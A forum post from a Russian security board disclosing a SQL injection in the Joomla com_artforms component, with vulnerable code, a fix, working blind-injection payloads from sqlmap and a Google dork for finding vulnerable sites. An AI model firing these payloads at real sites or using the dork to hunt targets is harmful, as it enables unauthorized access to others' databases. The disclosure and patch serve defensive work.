HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.02.2012, 22:55
Machine
Познающий
Регистрация: 23.06.2008
Сообщений: 34
Провел на форуме:
98050

Репутация: 45
Отправить сообщение для Machine с помощью ICQ
По умолчанию

1) Дата: 9.02.2012

2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/

3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability

4) Автор: Machine

5) Тип: удалённая

6) Опасность: 9

7) Описание: описание смысла уязвимости, пример дырявого кода

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

$db =& JFactory::getDBO();

saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid );

Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для

проведения SQL иньекции, вводя произвольный SQL код.

Вывод sqlmap:

GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable

GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable

GET parameter 'formid' is vulnerable.

При подстановке в formid кавычки, встретил 2 варианта:

1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in."

2. Уязвимый запрос никак не влияет на возвращаемую страницу.

Оба варианта можно эксплуатировать.

8) Эксплоит:

Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection.

Вывод sqlmap:

---

Place: GET

Parameter: formid

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ

---

9) Поиск: пример поиска приложения через поисковые системы

Google dork: inurl:index.php?option=com_artforms

10) Решение: в /components/com_artforms/artforms.php

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

поменять на

$formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' ));

=====================

Видео _http://depositfiles.com/files/j5vqht4y9

=====================

Отдельное спасибо z0mbyak'у.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ